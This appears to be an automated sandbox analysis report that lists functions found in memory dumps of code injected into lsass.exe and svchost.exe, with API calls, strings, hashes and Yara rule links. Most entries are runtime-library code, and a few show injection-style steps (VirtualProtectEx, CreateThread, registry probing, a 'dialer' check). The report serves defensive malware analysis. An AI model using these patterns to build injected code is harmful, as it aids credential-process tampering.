Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 4461B2B6529E84CAEA618F15F49D31AB7A1F3897C4F100116EA8E57FA8DB7CC841CF40

Function 000002D6F1524104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D6F152412C
_set_statfp.LIBCMT ref: 000002D6F1524147
_set_statfp.LIBCMT ref: 000002D6F1524163
_set_statfp.LIBCMT ref: 000002D6F152419F

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 424267331a93190a57d2639305031bc8998964835541697d1ff8627115ec689c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E11173A7B10FD119F7641768F45D36621416F783F8F280626EA7F17ED6CA6CCC418200

Function 000002D6F14F3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D6F14F352C
_set_statfp.LIBCMT ref: 000002D6F14F3547
_set_statfp.LIBCMT ref: 000002D6F14F3563
_set_statfp.LIBCMT ref: 000002D6F14F359F

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: ba703c9331ee713b56c495894a3d73b0a2062aaebb232e8d6e30e25fb009abb4
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 12117323A14E5119FBA41769F45D36911816BD93F4F889A3AAA770FFDECA2CCC45C110

Function 000002D6F14EF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002D6F14EF124

Strings

Tuesday, xrefs: 000002D6F14EF0F4
or copy constructor iterator', xrefs: 000002D6F14EF25A, 000002D6F14EF275
Wednesday, xrefs: 000002D6F14EF1ED

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: e6160abfd5a2cc9cf80f440168c8954cb50692cc9a53660c5a43eaca46e9ff2f
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: C3619C72601E448AFA6DCB69F54C32AAAA1A7C67C0F55451BCA0B07FECDB3DCE458301

Function 000002D6F151AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002D6F151AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002D6F151AAB7

Strings

MOC, xrefs: 000002D6F151AA7C
RCC, xrefs: 000002D6F151AA85

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1d7432d42cb839326b1ec519d8e3b4db095f3ae002e7f932d77f27b7b20c2c01
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 556158B7600B848AEB22DFA5E44879D77A0F344BDCF044616EE4E27B98DB78C995C700

Function 000002D6F151AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F151ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D6F151AE88

Strings

csm, xrefs: 000002D6F151ADC2
csm, xrefs: 000002D6F151AEDA

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: a1fa52ff5b8a92164aef8a90dc21d442fce71749ed4764205dc9c63b39132c2b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 72517CB6100AC08EEB668FA5A48C35977A0F354BD9F144217DA9EA7FD5CB3CD891C701

Function 000002D6F14EA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14EA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D6F14EA288

Strings

csm, xrefs: 000002D6F14EA1C2
csm, xrefs: 000002D6F14EA2DA

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: cfee3a79a6332420dfddfd621a8844a6e200f43d99eb8e2e0c62dd5cb1a16251
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 89517C32100A80CEEB64CB25A54C35877A1F795BD4F288217DA9A87FD9CB7CDA90CB11

Function 000002D6F14E8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14E8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F14E84A8

Strings

csm, xrefs: 000002D6F14E848E
f, xrefs: 000002D6F14E8426

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 972f85bd260c2ee75a15eccb82eca9add97efd3e6d8f92d2c71b54b9a0724d42
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 07518832601A028EEF64CB16F44CB1937A5F3D4BD8F558526DA1747B8CEB39DE418B04

Function 000002D6F14E83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14E8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F14E84A8

Strings

csm, xrefs: 000002D6F14E848E
f, xrefs: 000002D6F14E8426

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fac092133bcf5273d306a1bfba47854e7a8849c5731493164c1dc531c6143850
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: D6314672601A419AEB14DF12F84CB5977A4F780BD8F15852AAE6B07B8CDB3CCE41CB04

Function 000002D6F1522058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002D6F15220D7
WriteFile.KERNEL32 ref: 000002D6F152239F
WriteFile.KERNEL32 ref: 000002D6F15223E5
GetLastError.KERNEL32 ref: 000002D6F152249B

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 46840878b0cc5d224b34d7d0e9dac87f5955736167c6a31398be0b02f4667bf4
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: CED1BFB7714A808DE711CFA9E44829C3BB1F7547D8F14421ADE5E9BF99DA38C906C780

Function 000002D6F1522980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002D6F1522A9C
GetLastError.KERNEL32 ref: 000002D6F1522B27

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: c9214aef26bfacb35296ae088b721dff4a15a35e123c9ee8ba9635ca1e8333b4
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 5A9177A7700E909DFB649F65A48C3AD2BA0A754BC8F54410EDE4F67E95DB78C882C700

Function 000002D6F1517960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002D6F151798C
GetCurrentThreadId.KERNEL32 ref: 000002D6F151799A
GetCurrentProcessId.KERNEL32 ref: 000002D6F15179A6
QueryPerformanceCounter.KERNEL32 ref: 000002D6F15179B6

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 46c5aac05c874f4bb09711078cff6ceae9bbf1676f6b8508b6834c3418bbca38
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 30111C66710F418AEF008F60E8993A833A4F719798F440E22DE6E46BA4DB7CD5998380

Function 000002D6F14E9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002D6F14E9EB7

Strings

RCC, xrefs: 000002D6F14E9E85
MOC, xrefs: 000002D6F14E9E7C

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: d070504b4f6ab16698584910d28eb8b80bc01e4cc0e3f10349b5f2c037af8c0d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6E616B73600F848AEB20DF65E4583AD7BA0F784BD8F144216EF4A57B99DB38DA95C700

Function 000002D6F1512330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D6F1512416
StrCpyW.SHLWAPI ref: 000002D6F151242D

Strings

\\.\pipe\, xrefs: 000002D6F1512421

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 394cc914bfb9ce43346b5ff93633d9b94699b0b3b218dfcc43da45d9579c068f
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 1951F5B2204B8189E6769F2AB09C3AA6BA1F3857C0F65412BDD4F27F49DA7DCD04C740

Function 000002D6F15226F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002D6F1522807
GetLastError.KERNEL32 ref: 000002D6F1522829

Strings

U, xrefs: 000002D6F15227B3

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 824dda5bf0e141a0eccdff39b2f392aa61083a03da449fe0be0865378a6b09d5
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 75419FB3314B808ADB208F25F84C3A9A7A1F7987D4F444126EE4E87B94EB7CC841CB40

Function 000002D6F15194A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002D6F15194F0
RaiseException.KERNEL32 ref: 000002D6F1519531

Strings

csm, xrefs: 000002D6F151951E

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 0179ef454bca868754a89d0f14593ff5d1bafe773b9c0e76b87cdcda21dd5abb
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: C6113A76214F8086EB618F15F458359B7E5FB88B98F594222EE8E17B68DF3CC951CB00

Function 000002D6F14E7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D6F14E737C

Strings

riptor at (, xrefs: 000002D6F14E7364
ierarchy Descriptor', xrefs: 000002D6F14E7381

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 42604dadee08075db72dd804d857af22540e6553bd8cf7546b60624dadb498d8
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2DE08661640F4594DF058F22F84829873A0DB99BA4F499123996D0B315FA3CD6F9C700

Function 000002D6F14E73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D6F14E73D8

Strings

Locator', xrefs: 000002D6F14E73DD
riptor at (, xrefs: 000002D6F14E73C0

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: d05b7e5c656130d9458ccdc22e0b75791a29142332b64578b38792f26bb6b93c
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 41E08661640F4484DF058F21F8441987360E799B94B889123C96D0B355EA3CD5E5C700

Function 000002D6F1511BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1511C2D
HeapAlloc.KERNEL32 ref: 000002D6F1511C3B
GetProcessHeap.KERNEL32 ref: 000002D6F1511C77
HeapFree.KERNEL32 ref: 000002D6F1511C85

Part of subcall function 000002D6F151152C: StrCmpIW.SHLWAPI ref: 000002D6F151155D

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: fd815924ccaf22e34c037317531bc049dc234f77afa6770aba1465aea0f85cca
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F5118C66601F8489EE05DF66F84C22973A1FB89FC4F18406ADE4E57B66DE3CD842C300

Function 000002D6F1511268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F151126E
HeapAlloc.KERNEL32 ref: 000002D6F151127D
GetProcessHeap.KERNEL32 ref: 000002D6F1511297
HeapAlloc.KERNEL32 ref: 000002D6F15112A8

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 5530d73242211928b6024003faf75465f242705db9492874eec173ea436ce9dc
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E092B6601A848AEB048F62E80C34A36E1FB8DF86F14C024CD0E07751DF7D98D9CB50

Analysis Process: svchost.exePID: 928, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 0000014E41FD1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000014E41FD126E
HeapAlloc.KERNEL32 ref: 0000014E41FD127D
GetProcessHeap.KERNEL32 ref: 0000014E41FD1297
HeapAlloc.KERNEL32 ref: 0000014E41FD12A8

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 58e4b1372e48106c13d9c210e95dfed249a6192135837390fc88e392b1da2cd8
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 52E0393570170886EB058B62D80838AB7E1FB89F26F0A8028890947361DF7DC49AC760

Function 0000014E41FD328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000014E41FD32AE
PathFindFileNameW.SHLWAPI ref: 0000014E41FD32BD

Part of subcall function 0000014E41FD3844: StrCmpNIW.SHLWAPI ref: 0000014E41FD385C

Part of subcall function 0000014E41FD3790: GetModuleHandleW.KERNEL32 ref: 0000014E41FD379E
Part of subcall function 0000014E41FD3790: GetCurrentProcess.KERNEL32 ref: 0000014E41FD37CC
Part of subcall function 0000014E41FD3790: VirtualProtectEx.KERNEL32 ref: 0000014E41FD37EE
Part of subcall function 0000014E41FD3790: GetCurrentProcess.KERNEL32 ref: 0000014E41FD3809
Part of subcall function 0000014E41FD3790: VirtualProtectEx.KERNEL32 ref: 0000014E41FD382A

CreateThread.KERNEL32 ref: 0000014E41FD330B

Part of subcall function 0000014E41FD1D14: GetCurrentThread.KERNEL32 ref: 0000014E41FD1D1F

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 701d4b212a0684b59ab9b099f346debbb554c1cfb4979cb8b986742d3a5a455b
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: CB1139B271864182FF60AB61BB1D3F9A3E4BF54344F5841259A0BC16B5EF7CC1468230

Function 0000014E41FD1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000014E41FD1628: GetProcessHeap.KERNEL32 ref: 0000014E41FD1633
Part of subcall function 0000014E41FD1628: HeapAlloc.KERNEL32 ref: 0000014E41FD1642
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16B2
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16DF
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD16F9
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1719
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1734
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1754
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD176F
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD178F
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17AA
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD17CA

Sleep.KERNEL32 ref: 0000014E41FD1AD7
SleepEx.KERNELBASE ref: 0000014E41FD1ADD

Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17E5
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1805
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1820
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1840
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD185B
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD187B
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1896
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD18A0

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 27739bd1d7c2b649979a3e3ac9a2f5b2f111066e3f9e7ba65cc6bd2b1fdd864d
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 1231B771308A4182EF509B66DA593F9A3E4BF84BD0F0C55229E0BC76B6EF24C8538330

Function 0000014E41FD3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000014E41FD385C

Strings

dialer, xrefs: 0000014E41FD3855

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: edc9b53c890d6efa8cfb08019f2e5464623e49ddff2869f1cd1f5de1b6805b2a
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 8BD05EB13117058AFF14DFAA88CD6B0A390BF04754F8C40208A0181660DB18C99E9620

Function 0000014E41FA273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000014E41FA285E

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 67325ab9c1bf59a10d455d8bffd91d13401eaaa9fb1b126a29269b2ed4ac34ab
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
